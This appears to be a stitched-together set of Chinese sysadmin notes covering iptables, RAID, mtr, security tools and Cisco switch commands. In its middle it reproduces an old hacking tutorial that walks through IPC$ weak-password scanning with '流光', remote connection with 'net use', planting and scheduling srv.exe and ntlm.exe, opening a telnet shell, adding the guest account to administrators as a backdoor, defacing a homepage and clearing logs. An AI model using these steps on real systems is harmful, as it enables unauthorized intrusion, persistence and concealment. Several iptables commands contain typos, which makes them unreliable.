    iptabels -D INPUT 2 

修改一条规则

    iptables -R INPUT 3 -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT 

允许远程主机进行SSH连接

    iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT 
    iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT 

允许本地主机进行SSH连接

    iptables -A OUTPUT -o eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT   
    iptables -A INTPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT 

允许HTTP请求

    iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT 
    iptables -A OUTPUT -o eth0 -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT 

限制ping 192.168.146.3主机的数据包数,平均2/s个,最多不能超过3个

    iptables -A INPUT -i eth0 -d 192.168.146.3 -p icmp --icmp-type 8 -m limit --limit 2/second --limit-burst 3 -j ACCEPT 

限制SSH连接速率(默认策略是DROP)

    iptables -I INPUT 1 -p tcp --dport 22 -d 192.168.146.3 -m state --state ESTABLISHED -j ACCEPT  
    iptables -I INPUT 2 -p tcp --dport 22 -d 192.168.146.3 -m limit --limit 2/minute --limit-burst 2 -m state --state NEW -j ACCEPT 

增加一条规则到最后

    iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT 

安全设置:

防止syn攻击

思路:限制单个ip的最大syn连接数

    iptables –A INPUT –i eth0 –p tcp --syn -m connlimit --connlimit-above 15 -j DROP 

防止DOS攻击

利用recent模块抵御DOS攻击

    iptables -I INPUT -p tcp -dport 22 -m connlimit --connlimit-above 3 -j DROP 

单个IP最多连接3个会话

    iptables -I INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH  

只要是新的连接请求,就把它加入到SSH列表中

    Iptables -I INPUT -p tcp --dport 22 -m state NEW -m recent --update --seconds 300 --hitcount 3 --name SSH -j DROP  

5分钟内你的尝试次数达到3次,就拒绝提供SSH列表中的这个IP服务。被限制5分钟后即可恢复访问。

防止单个ip访问量过大

    iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j DROP 

防止ping攻击

    iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/m -j ACCEPT 

基本操作

选项 功能
-A (append) 指定链末尾 添加规则
-D (delete) 删除一条规则
-I (insert) 指定链开头 添加规则
-R (replace) 替换规则
-L (list) 列出所有规则
-F (flush) 清空所有规则
-N (new chain) 新建自定义规则
-P (policy) 设置指定链的默认策略
-v (verbose) 查看规则列表时 显示详细信息
-V (Version) 查看 iptables 版本详细

打开iptables转发:echo “1”> /proc/sys/net/ipv4/ip_forward

iptables -L -v
查看 输入输出转发的 数据量. 如果转发量是 0 就说明没有开启转发.

注意: 很多时候都是 输入输出 双向通信的. 一般都需要同时配置输入和输出 防火墙. 比如 ssh / ping

默认行为:没有设置规则时候 做出的行为. iptables -L 查看当前 iptables 的配置. -v 显示数据包和字节信息, -n 不将 ip 解析成域名.

policy Accept 允许连接. policy Drop 丢弃数据包 policy Reject 不允许连接并返回一个信息. 不想让某个 ip 远程你 返回信息防火墙阻止你登陆.

iptables -A 将额外的规则 添加到现有规则.

  • Ubuntu 默认关闭防火墙. Uncomplicated Fire Wall(UFW): iptable 的管理工具(使用简单). 安装 UFW : sudo apt-get install ufw 启用防火墙:  sudo ufw enable

/etc/sysconfig/iptables

iptables:应用防火墙规则:iptables-restore: line 17 failed

/etc/init.d/iptables stop关闭 /etc/init.d/iptables start启动 /etc/init.d/iptables restart重启

显示 & 操作 路由表.

要实现两个不同的子网之间的通信, 需要一台连接两个网络的路由器, 或者同时位于两个网络的网关来实现。

要注意的是,在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在/etc/rc.local中添加route命令来保证该路由设置永久有效。

RiverStone 3000

telnet 172.19.16.1

en

172.19.16.1 网关. RiverStone3000

查看开启端口: nmap 172.19.16.1 → 23 telnet 端口打开 → 所以 Mac 终端 telnet 172.19.16.1 输入登陆密码. 就进去了.

查看 Raw 表: iptables -t Raw --list 处理异常

内建2个链

  1. PREROUTING chain
    1. OUTPUT chain

RAID

RAID: Redundant Array of Independent Disk 独立冗余磁盘阵列

分:软件 Raid 和 硬件 Raid

Raid 0: Stripe 分条. 最高性能 2硬盘:数据 2等分写到两个硬盘 不能坏 读写速度是2倍 3硬盘:数据 3等分写到删个硬盘 不能坏 读写速度是3倍

Raid 1 Mirror 镜像备份

最安全 但是成本最高. 两硬盘一用一备份.

I 2硬盘 数据 同时完整写到两个硬盘 能坏一个

Raid 5 3硬盘 Raid0 和 Raid1 的折中方案. 坏一个 可以根据另两个算出第三个的数据

数据先均分到两硬盘. 最后一个硬盘备份完整数据.

比如数据 AB. 硬盘1 → A 硬盘2 → B 硬盘3 → AB

正常架构 受损架构 恢复架构

Raid 6 4硬盘 可以坏两个. 数据均分到两硬盘,另外两个硬盘 备份完整数据

比如数据 AB. 硬盘1 → A 硬盘2 → B 硬盘3 → AB 硬盘4 → AB

Raid 01
性能&安全兼顾 最低四个硬盘 两写两备份. 先分割数据 再备份 Raid 10
性能&安全兼顾 最低四个硬盘 两写两备份. 先备份 再分割数据

一台服务器能有好几种Raid 同时运行. 一个 ESX . 2块 100G 的 和 4块500G 的
可以组 两个 Raid. 100G 的组 Raid1 500G 的组 Raid5.

需要安装RAID卡相对应的管理工具 或者 开机进raid 开机以后看提示按Ctrl+H;才能看具体raid设置的。

如果硬盘出现故障,会闪橙色灯。指示灯不是很严谨的诊断手段 最好的方法是进入raid卡bios和管理软件中查看硬盘状态

**硬盘故障分两种:可预测 & 不可预测的

可预测: 电机轴承磨损、盘片磁介质性能下降等…可以提早发现的现象。 不可预测: 芯片突然失效,机械撞击等。

S.M.A.R.T “Self-Monitoring Analysis and Reporting Technology”, “自我监测 & 分析 & 报告技术”, 是一种自动的硬盘状态检测与预警系统和规范。

通过在硬盘硬件内的检测指令对硬盘的硬件如磁头、盘片、马达、电路的运行情况进行监控、记录.

故障内网ip可访问,外网可访问,只是在内网用外网地址打不开,就是net回流问题## Nessus 最好的 unix 漏洞扫描工具.

Hping2:一种网络探测工具,是ping的超级变种 这个小工具可以发送自定义的ICMP,UDP和TCP数据包,并接收所有反馈信息。它的灵感来源于ping命令,但其功能远远超过ping。它还包含一个小型的路由跟踪模块,并支持IP分段。此工具可以在常用工具无法对有防火墙保护的主机进行路由跟踪/ping/探测时大显身手。它经常可以帮助您找出防火墙的规则集,当然还可以通过它来学习TCP/IP协议,并作一些IP协议的实验。]]]

Kismet:一款超强的无线嗅探器 Kismet是一款基于命令行(ncurses)的802.11 layer2无线网络探测器、嗅探器、和入侵检测系统。它对网络进行被动嗅探(相对于许多主动工具,例如NetStumbler),可以发现隐形网络(非信标)。它可以通过嗅探TCP、UDP、ARP和DHCP数据包来自动检测网络IP段,以Wireshark/TCPDump兼容格式记录通讯日志,更加可以将被检测到的网络分块并按照下载的分布图进行范围估计。如您所想,这款工具一般被wardriving所使用。嗯!还有warwalking、warflying和warskating……

Tcpdump:最经典的网络监控和数据捕获嗅探器 在Ethereal(Wireshark)出现之前大家都用Tcpdump,而且很多人现在还在一直使用。它也许没有Wireshark那么多花里胡哨的东西(比如漂亮的图形界面,亦或数以百计的应用协议逻辑分析),但它能出色的完成很多任务,并且漏洞非常少,消耗系统资源也非常少。它很少添加新特性了,但经常修复一些bug和维持较小的体积。它能很好的跟踪网络问题来源,并能监控网络活动。其Windows下的版本叫做WinDump。Libpcap/WinPcap的包捕获库就是基于TCPDump,它也用在Nmap等其它工具中。

Cain and Abel:Windows平台上最好的密码恢复工具
UNIX用户经常声称正是因为Unix平台下有很多非常好的免费安全工具,所以Unix才会成为最好的平台,而Windows平台一般不在他们的考虑范围之内。他们也许是对的,但Cain & Abel确实让人眼前一亮。这种只运行于Windows平台的密码恢复工具可以作很多事情。它可以通过嗅探网络来找到密码、利用字典破解加密密码、暴力破解密码和密码分析、记录VoIP会话、解码非常复杂的密码、星号查看、剥离缓存密码以及分析路由协议。另外其文档也很齐全(well documented)。

John the Ripper:一款强大的、简单的以及支持多平台的密码破解器 John the Ripper是最快的密码破解器,当前支持多种主流Unix (官方支持11种,没有计算不同的架构)、DOS、Win32、BeO和OpenVMS。它的主要功能就是检测弱Unix密码。它支持主流Unix下的多种(3种)密码哈希加密类型,它们是Kerberos、AFS以及Windows NT/2000/XP LM。其它哈希类型可以通过补丁包加载。如果您希望从一些单词表开始的话,您可以在这里、这里和这里找到。

Ettercap:为交换式局域网提供更多保护
Ettercap是一款基于终端的以太网络局域网嗅探器/拦截器/日志器。它支持主动和被动的多种协议解析(甚至是ssh和https这种加密过的)。还可以进行已建立连接的数据注入和实时过滤,保持连接同步。大部分嗅探模式都是强大且全面的嗅探组合。支持插件。能够识别您是否出在交换式局域网中,通过使用操作系统指纹(主动或被动)技术可以得出局域网结构。

Nikto:非常全面的网页扫描器 Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3200种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。基于Whisker/libwhisker完成其底层功能。这是一款非常棒的工具,但其软件本身并不经常更新,最新和最危险的可能检测不到。

13 Ping/telnet/dig/traceroute/whois/netstat:基本命令 虽然有很多重型的高科技网络安全工具,但是不要忘记其基础!所有网络安全人士都要对这些基本命令非常熟悉,因为它们对大多数平台都适用(在Windows平台上whois为tracert)。它们可以随手捏来,当然如果需要使用一些更高级的功能可以选择Hping2和Netcat。

OpenSSH / PuTTY / SSH:访问远程计算机的安全途径 SSH(Secure Shell)现在普遍应用于登录远程计算机或在其上执行命令。它为不安全网络上的两台不互信计算机间通讯提供安全加密,代替非常不可靠的telnet/rlogin/rsh交互内容。大多UNIX使用开源的OpenSSH服务器和客户端程序。Windows用户更喜欢免费的PuTTY客户端,它也可以运行在多种移动设备上。还有一些Windows用户喜欢使用基于终端的OpenSSH模拟程序Cygwin。还有其它很多收费和免费的客户端。您可以在这里和这里找到。

THC Hydra:支持多种服务的最快的网络认证破解器 如果您需要暴力破解一个远程认证服务,Hydra经常会是选择对象。它可以同时对30个以上的端口进行基于字典的快速破解,包括telnet、ftp、http、https、smb、多种数据库及其它服务。和THC Amap一样,此Hydra版本来自于民间组织THC。

19 THC Amap:一款应用程序指纹扫描器

Amap是一款很棒的程序,它可以检测出某一端口正在被什么程序监听。因为其独有的version detection特性,所以其数据库不会象Nmap一样变得很大,在Nmap检测某一服务失败或者其它软件不起作用时可以考虑使用之。Amap的另一特性是其能够解析Nmap输出文件。这也是THC贡献的另一款很有价值的工具。

Aircrack:最快的WEP/WPA破解工具
Aircrack是一套用于破解802.11a/b/g WEP和WPA的工具套装。一旦收集到足够的加密数据包它可以破解40到512位的WEP密匙,它也可以通过高级加密方法或暴力破解来破解WPA 1或2网络。套装中包含airodump(802.11数据包捕获程序)、aireplay (802.11数据包注入程序)、aircrack(静态WEP和WPA-PSK破解),和airdecap(解密WEP/WPA捕获文件)。

Netfilter:最新的Linux核心数据包过滤器/防火墙 Netfilter是一款强大的运行于标准Linux核心上的包过滤器。它集成了用户空间IP列表工具。当前,它支持包过滤(无状态或有状态)、所有类型的网络地址和端口转换(NAT/NAPT)并支持多API层第三方扩展。它包含多种不同模块用来处理不规则协议,例如FTP。其它UNIX平台请参考Openbsd PF(只用于OpenBSD)或者IP Filter。许多个人防火墙(personal firewalls)都支持Windows (Tiny、Zone Alarm、Norton、Kerio…),但都不提供上述IP列表。微软在Windows XP SP2中集成了一款非常基础的防火墙,如果您不安装它,它就会不断地提示您安装。

L0phtcrack:Windows密码猜测和恢复程序 L0phtCrack也叫作LC5,用来尝试通过哈希(通过某种访问方式获得的)方法破解诸如Windows NT/2000工作站、联网服务器、主域控制器、或活动目录密码,有时它也可以通过嗅探获得密码的哈希值。它还可以通过多种手段来猜测密码(字典、暴力破解等等)。Symantec公司2006年已经停止了LC5的开发,但LC5 installer的安装文件随处可以找到。免费试用版只能使用15天,Symantec已经停止出售此软件的注册码,所以如果您不想放弃使用它,就必须找到一个与其对应的注册码生成器(key generator)。因为Symantec不再维护此软件,所以最好尝试用Cain and Abel或John the Ripper来代替之。

Airsnort:802.11 WEP加密破解工具 AirSnort是一款用来恢复加密密码的无线LAN(WLAN)工具。Shmoo Group出品,工作原理是被动监控传输信息,当收集到足够多的数据包后开始计算加密密码。Aircrack和它很像。

BackTrack:一款极具创新突破的Live(刻在光盘上的,光盘直接启动) 光盘自启动Linux系统平台
这款卓越的光盘自启动Linux系统是由Whax和Auditor合并而成。它以其超级多的安全和防护工具配以丰富的开发环境而闻名。重点在于它的用户模块化设计,用户可以自定义将哪些模块刻到光盘上,例如自己编写的脚本、附加工具、自定义内核等等。

http://www.ha97.com/2678.html

内建三种链:

  1. PREROUTING 链

     处理刚到达本机并在路由转发前的数据包。
     它会转换数据包中的目标IP地址(destination ip address),
     通常用于DNAT(destination NAT)。
    
    1. POSTROUTING 链

       处理即将离开本机的数据包。
       它会转换数据包中的源IP地址(source ip address),
       通常用于SNAT(source NAT)。
      
      1. OUTPUT 链

         处理本机产生的数据包。
        

查看 Mangle 表: iptables -t mangle --list 如何处理数据包. 它能改变TCP头中的QoS位。内建5种链:

  1. PREROUTING
    1. OUTPUT
      1. FORWARD
      2. INPUT
      3. POSTROUTING

        MTR

        网络判断综合工具 结合了ping, traceroute,nslookup 的相关特性。

当网络链路出现问题时很多人会用ping命令, 可以简单的测试网络的连通性,看下丢包率,但是却无法确定是在哪里出现了问题; 有些人就会用tracert命令来查看路由,或者用nslookup命令来查看DNS是否可用; *如果你也觉得这三个命令太麻烦的话,那就用mtr吧。

Mac OS 安装链接
MTR: 实时丢包率 + 实时延迟 有些丢包 有由于 ICMP的保护机制造成的,不是真的丢包!!!

比如 路由器上开启 防ping功能.

Traceroute 默认使用UDP数据包探测 mtr 默认使用ICMP报文探测

ICMP在某些路由节点的优先级要比其他数据包低,所以测试得到的数据可能低于实际情况。

*使用方法: mtr www.taobao.com

0214.help (0.0.0.0) Wed Jun 22 18:23:54 2016 Keys: Help Display mode Restart statistics Order of fields quit Packets Pings Host Loss% Snt Last Avg Best Wrst StDev 172.19.16.1 0.0% 44 0.3 0.4 0.3 0.5 0.0 172.19.30.1 0.0% 44 0.5 0.6 0.4 1.0 0.0 210.22.92.253 2.3% 44 0.9 1.1 0.8 3.1 0.4 112.64.242.39 2.3% 44 2.5 6.6 2.0 103.4 16.5 112.64.249.117 6.8% 44 2.1 4.7 2.1 44.8 8.3 139.226.203.98 56.8% 44 2.3 2.7 2.1 5.0 0.5 140.207.255.106 0.0% 44 2.0 2.1 1.8 3.8 0.4 140.207.254.34 86.4% 44 2.1 2.2 2.0 2.5 0.0

Loss% – 丢包率,单位是”%”;
Snt – sent包的数量
Last – 最后一个包的延时
Avg – 所有包的平均延时
Best – 延时最小的包
Wrst – 延时最大的包
StDev – 标准偏差

mtr -v 查看版本

mtr -r www.taobao.com 
-r 以报告模式显示 (不是实时动态显示) 输入命令 等几秒钟 会出结果.

  • 可以设定规则来允许/阻止/转发 网络数据.

 rules → chains → 4 X table → iptables 规则组成链,链组成表,4个表 组成iptables.

IpTbales:

  1. Filter table 过滤数据包
    1. NAT table
    2. Mangle table 管理
    3. RAW table 处理异常

man pfctl

包过滤: 简称 PF 进行 TCP/IP 流量过滤和网络地址转换的软件.

同样可以提供 TCP/IP 流量的控制.

/etc/pf.conf ???

pfctl -e 启动pf pfctl -d 停止pf

IPC$ 探测 — 流光基础教程

IPC : interprocess communications 准确说 是 IPC$ 是默认的在系统启动时候的 admin 共享.

是 windowsNT / 2k 特有的 远程网络管理登录功能

特点是: 同一时间内 两个 IP 之间 只允许建立一个连接.

试图通过 ipc$ 连接 会在 ecentlog 中留下记录. 不管你是否登录成功.

启动流光: 获得一台主机的管理权限 并将这个主机做成跳板,那么就可以用命中率高的办法来探测了. 即测试一批 IP 来获得弱口令.

在主界面选择“探测—探测 POP3/FTP/NT/SQL 主机”选项。或者直接按 CTRL+R,然后弹出 “主机扫描设置”对话框。

3:输入我们要破解的IP 段,在选项中我们把“frontpage”主机自动加入HTTP 主机列表取 消。因为我们只想获得IPC 弱口令,这样可以加快扫描的速度,加入IP,选择扫描NT/98 主 机,需要说明的是这里我们可以选择的还有很多,包括SQL/FTP/POP3 等等,灵活运用可以给 我今后的探测工作带来很大的方便

4:探测中„„ 警告:如果你要探测的是流光保留的国内IP 段会被禁止的,也就是探测的时候信息栏会出 现“IP 保留”的字样,免得初学HACKER 的你误伤国内的站点的同时给自己带来麻烦!

5:扫描到的NT/98 主机列表(我就不贴了)

6:没有扫描到密码的,就不用看报告了

7:有了 NT/98 的机器了,就可以正式开始 IPC$,右键点击谈探测的“IPC$主机—探测—探 测所有IPC$用户列表”。或者按键盘的CTRL+F9

8:注意下面两个复选框的设置,把两个都选上,因为我们只要 ipc$管理员的弱口令,而且 只要有一个就可以了,然后点“选项”。

9:点“选项”后,弹出“用户列表选项”对话框,为了加快弱口令扫描速度,我们把它全部 取消,比如第二个选项,既然对方景致列出用户了,我想对于一个网管来说,弱口令可能性 也是微乎其微的

10:探测中„„很快就出现破解成功的提示,上面的FTP 主机(IP192.168.0.1)也有了相应 的变化。

11:又出现查看报告的窗口,这次有结果,当然要仔细看看

12:有远程主机的管理密码了,我们剩下的就是想办法控制他了,有什么好办法呢?当然有 很多了,比如在“工具——NT/IIS 工具”菜单下,这些我们以后在说,今天还是先练习NET 命令吧,这样有利于我们了解这些命令究竟是在完成些什么样的功能

13:目标是如何被黑的 开个DOS 命令提示符窗口执行命令如下命令 “||”后面是说明 1)net use \对方IPipc$“密码” /user:“用户名”||与对方建立ipc$ 远程连接 2)copy icmd.exe \对方ipadmin$ ||admin$是对方的winnt 目录,这里存放文件多 3)net time \对方ip ||查看对方的系统时间 4)at \对方ip 程序启动的时间 启动程序名 启动程序的参数 ||用at 命令来定时启动程 序,在这里我们用soon 这个程序来做也可以,它可以取代3/4 两步。 5)tenlent 对方ip 端口 ||通过远程服务端口远程登陆目标主机 6)输入pass(口令) ||如果不是就用icmd.exe,或者没有设置口令就不用了 7)在开个窗口,继续copy我们要用的东西,copy sock.exe、copy ntlm.exe、copy vclear.exe。 如果我们真的想黑了它,只需要把我们的首页文件覆盖目标的首页就OK 了。我们可以通过在 跟目录执行dir /s default.htm 或者dir /s index.htm 来确定对方的首页的位置,一般是 在X:interpubwwwroot 就可以用修改好的首页覆盖对方的首页 8)其实黑人家是很不道德的而且违法的,我们最还是物有所值,做成跳板吧,今后干活方便 点。执行我们copy 过去的ntlm.exe 取消登陆验证。再给自己留个后门,比如提升guest 的 权限,或者其他的后门工具,这类东西有很多,自己选吧 9)做个sock5 代理玩玩,用在QQ 上面不错哦 执行我们copy 过去的sock -install,net start skserver ,看看用在QQ 上的效果,这样 就可以隐藏自己的真实身份了,而且在局域网也可以通过服务器上QQ 了 10)问题思考:还能够做成其它的吗? 当然了,只要你有时间,而且愿意做,一个个人专用的服务器在你面前,你想做什么都可 以

14:日志清除,断开连接: 支持我们copy 过去的cl.exe clear.exe 都可以清除日志,比如clear all :清除所有日 志。然后断开连接:net use \对方 IPIPC$ /delete 这一步是必须的,尤其是在一些有争 议的站点上,或者是国内的站点,除非你想让电视报导XXX 地区又捕获黑客一名XXX

IPC$的定义:IPC$是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,在远程管理计算机和查看计算机的共享资源时使用。 IPC$的作用:利用IPC$可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我们就可以得到目标主机上的用户列表。用“流光”的IPC$探测功能,可以得到用户列表,并配合字典,进行密码尝试。 IPC$空连接主机步骤: 1、首先要扫到能建立IPC$空连接的主机,有了目标才能进攻,推荐使用安全焦点的xscan_gui v1.3,该软件使用方法很简单,而且速度快,也许还能扫出其他漏洞。 2、详细了解NET命令,做IPC$空连接主机是不可不知NET命令使用的。 3、如果知道对方的用户名和密码,就用下面这个命令: net use \127.0.0.1\ipc$ ”密码” /user:”用户名” 退出的命令是: net use \127.0.0.1\ipc$ /delte 4、大部分情况下我们都不知道对方机器的用户名和密码。这就需要知道他的IP,我们使用用ping命令,格式为:ping www.xxx.com(如果用QQ聊天更简单,现在好多QQ都显IP的), 用追捕查他的操作系统,用户名等。现在信息都有了,然后大家试试弱智点的密码,如:123,12345,123456,用户名就是Administrator。运气好的话就可以进入了。 5、实在猜不出密码的话就只有用榕哥的大作――流光,运行探测――扫描POP3/FTP/NT/SQL主机,会出现“主机扫描设置”,在“扫描范围”中分别填写“开始地址”与“结束地址”,这步你可以选择要扫描的IP段,也可以只填某一IP,扫描主机类型”选择“NT/98”,然后开始扫描,如果单扫某一IP,我建议扫描主机类型选ALL,选项选中的内容不要取消,这样可以看看他的机器是什么颜色的,具体表示看下表: 红色:该主机安装了FrontPage扩展,并没有权限设置。如果扫到红色的,你可以打开FrontPage,在打开那里填上他的IP地址,接着你就知道怎么做了。 蓝色:表示该主机上安装了FrontPage扩展。 黑色:远程执行命令。你可以单击该主机――连接,就可以用DOS命令操作远程计算机,如:dir c:
黄色:直接下载对方SAM文件(SAM文件是NT下储存用户和密码的文件,下载后用LC3可以解开)。 绿色:将对方SAM文件上传到指定的FTP服务器。 6、现在知道了他主机的情况,就可以开始探测他的用户列表了!右键点IPC$主机-探测-探测所有IPC$用户列表,下面两个对话框的设置都选上,我们只要IPC$管理员的弱口令。在结果点击右键,探测用户列表,Administrstor(超级用户)直接探测到ADMIN的密码,如果实在不行,我们还可以拿其他用户“开刀”,然后在想办法让他变成超级用户。 7、得到用户名和密码我们就可以连接了。打开win2000下的cmd.exe(也就是命令提示符)。然后重复第二步教过的连接连接命令: net use \127.0.0.1\ipc$ ”密码” /user:”用户名” 成功连接后显示命令成功完成。 8、现在你可以用copy命令把你想要上传的东西放到他的机器里。 9、如果你想黑他页面的话就找到网页所在的目录,如:c:\inetpub\wwwroot,用命令: copy c:\index.htm \IP地址\c$\inetpub\wwwroot 这里的c:\index.htm指的是你作好的网页,上传替换掉原先的文件就可以改他的主页。 其他的操作方式就自己开发吧!以下提供几条有用的命令: 建立空连接 net use \IP\ipc$ ”” /user:”” 建立非空连接 net use \IP\ipc$ ”用户名” /user:”密码” 映射默认共享 net use z: \IP\c$ ”密码” /user:”用户名” (即可将对方的c盘映射为自己的z盘,其他盘类推) 如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令: net use z: \IP\c$ 删除一个ipc$连接 net use \IP\ipc$ /del 删除共享映射 net use c: /del 删除映射的c盘,其他盘类推 net use * /del 删除全部,会有提示要求按y确认 经典入侵示例 1.C:>net use \127.0.0.1\IPC$ ”” /user:”admintitrators” 这是用《流光》扫到的用户名为administrators,密码为”空”的IP地址,如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为”空”,所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

  1. C:>copy srv.exe \127.0.0.1\admin$ 先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。 3.C:>net time \127.0.0.1 查查时间,发现127.0.0.1 的当前时间是2005/5/1上午11:00,命令成功完成。 4.C:>at \127.0.0.1 11:05 srv.exe 用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然无法启动)。 5.C:>net time \127.0.0.1 再查查到时间没有,如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。 6.C:>telnet 127.0.0.1 99 这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了。 7.C:>copy ntlm.exe \127.0.0.1\admin$ 用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。 8.C:\WINNT\system32>ntlm 输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现”DONE”的时候,就说明已经启动正常。然后使用”net start telnet”来开启Telnet服务! 9.Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!然后你想做什么就做什么吧。 为了以防万一,我们再把guest激活加到管理组。 10.C:>net user guest /active:yes 将对方的Guest用户激活。 11.C:>net user guest 1234 将Guest的密码改为1234,或者你要设定的密码。 12.C:>net localgroup administrators guest /add 将Guest变为Administrator (如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机) 。 其他操作就看您的能力和水平了,自己揣摩吧! 注:此为本人几年前收藏的经典网文,虽然好多命令和工具均已无法正常运行,但其思路和方法仍然值得网络安全爱好者学习,在此向原作者表示致敬!

流光5

GNS3

*虚拟路由器软件,类似 VM 虚拟 Windows/Linux….

官网下载 1.4.5 免费. 跨平台网络虚拟软件( 路由系统 )

GNS3整合了如下的软件: • Dynamips:电脑运行Cisco系统(IOS)的模拟器 • Dynagen:是Dynamips的文字显示前端 • Pemu:PIX防火墙设备模拟器。 • Winpcap:为win32应用程序提供访问网络底层的能力。   功能简介: • 设计优秀的网络拓扑结构 • 模拟Cisco路由设备和PIX防火墙 • 仿真简单的Ethernet, ATM和帧中继交换机

FireWall= netfilter + iptables 过滤数据包. 查看 filter 表: iptables --list

内建三种链:

  1. INPUT 链 –————- 处理来自外部的数据。 比如: 客户端 ssh 本机.
    iptables 会首先匹配 连入的 ip 地址 和 端口号.
    不符合就拒绝登陆.
    1. OUTPUT 链 –———- 处理向外发送的数据。

      1. FORWARD 链 —— 将数据转发到本机的其他网卡设备上。

      例: 路由器收到的数据 绝大多数都要转发给电脑主机.

DDNS

一般宽带上网    真实 ip 都在不断的变化 所谓的动态 ip   服务器 和个别软件必须要用固定的 ip   Ddns dynamic domain name system  就诞生了,把动态 ip 变成 静态 ip   常见的 ddns 服务商   花生壳       zoneedit  no-ip   等     Noip  申请示范   国内好像被强了     Ddwrt 路由器 花生壳设置   http://service.oray.com/question/868.html     首先通过浏览器登入路由器的web管理界面:   选择Setup- Dynamic DNS (DDNS)   在DDNS Service项选择“Custom”;   在DYNDNS Server项填写ddns.oray.com   在User Name项填写花生壳帐号、Password项填写帐号密码   在Host Name项填写帐号下需要使用花生壳服务的域名   在URL项中填写/ph/update?   填写完毕后点击Save,当DDNS Status显示Update successful时即可正常使用。(如图)## Cisco

Switch and router ’s command are the same!!

基本状态: >用户模式 \#特权模式 (config)#全局配置模式 (config-if)#接口状态

登录方法:

  1. Console cable → Switch console port

    1. Telnet

      telnet 登陆. 必须要设置 vty 密码. 不然进不去.
      也就是说 用 telnet 登陆的话. 需要输入两次不同的密码.

      1. Website

        Cisco Switch

· 智能交换机 有 ip 能用 ip 进行管理

· 客户可在整个网络范围中部署智能服务,如高级QoS、速率限制、访问控制列表、组播管理和高性能IP路由等,且同时保持传统LAN交换的简洁性。思科网络助理(network assistant)在Catalyst 3560系列中免费提供,是一个集中管理应用,可简化思科交换机、路由器和无线接入点的管理任务。思科网络助理提供了配置向导,大大简化了融合网络和智能网络服务的实施。

Cisco Command:

#show run 显示所有配置

*常用命令:

switch>enable *进入特权模式

switch#config terminal 进入全局配置模式 需要输入密码

switch(config)#hostname 设置交换机名字*  switch(config)#enable secret xxx  设置特权加密口令

switch(config)#enable password xxa  设置特权非密口令

switch(config)#line console 0  进入控制台口

switch(config-line)#line vty 0 4 进入虚拟终端

switch(config-line)#login ;允许登录

switch(config-line)#password xx  设置登录口令xx

exit 退出命令

配置导出 tftp 配置文件从交换机到本机

copy running-config tftp:

copy

#show ip int brief 显示所有接口状态

#show vlan brief 显示所有 VLan 信息

#vlan database *vlan 维护模式

创建 VLAN

把端口划分给 vlan

*交换机VLAN设置: switch(vlan)#vlan 2 ;建VLAN 2 switch(vlan)#no vlan 2 ;删vlan 2 switch(config)#int f0/1 ;进入端口1 switch(config-if)#switchport access vlan 2 ;当前端口加入vlan 2 switch(config-if)#switchport mode trunk ;设置为干线 switch(config-if)#switchport trunk allowed vlan 1,2 ;设置允许的vlan switch(config-if)#switchport trunk encap dot1q ;设置vlan 中继 switch(config)#vtp domain ;设置发vtp域名 switch(config)#vtp password ;设置发vtp密码 switch(config)#vtp mode server ;设置发vtp模式 switch(config)#vtp mode client ;设置发vtp模式

交换机*设置IP地址: switch(config)#interface vlan 1 ;进入vlan 1 switch(config-if)#ip address ;设置IP地址 switch(config)#ip default-gateway ;设置默认网关 switch#dir flash: ;查看闪存

交换机显示命令: switch#write ;保存配置信息 switch#show vtp ;查看vtp配置信息 switch#show run ;查看当前配置信息 switch#show vlan ;查看vlan配置信息 switch#show interface ;查看端口信息 switch#show int f0/0 ;查看指定端口信息

路由器显示命令:

router#show run ;显示配置信息 router#show interface ;显示接口信息 router#show ip route ;显示路由信息 router#show cdp nei ;显示邻居信息 router#reload     ;重新起动

路由器口令设置: router>enable ;进入特权模式 router#config terminal ;进入全局配置模式 router(config)#hostname ;设置交换机的主机名 router(config)#enable secret xxx ;设置特权加密口令 router(config)#enable password xxb ;设置特权非密口令 router(config)#line console 0 ;进入控制台口 router(config-line)#line vty 0 4 ;进入虚拟终端 router(config-line)#login ;要求口令验证 router(config-line)#password xx ;设置登录口令xx router(config)#(Ctrl+z) ; 返回特权模式 router#exit ;返回命令

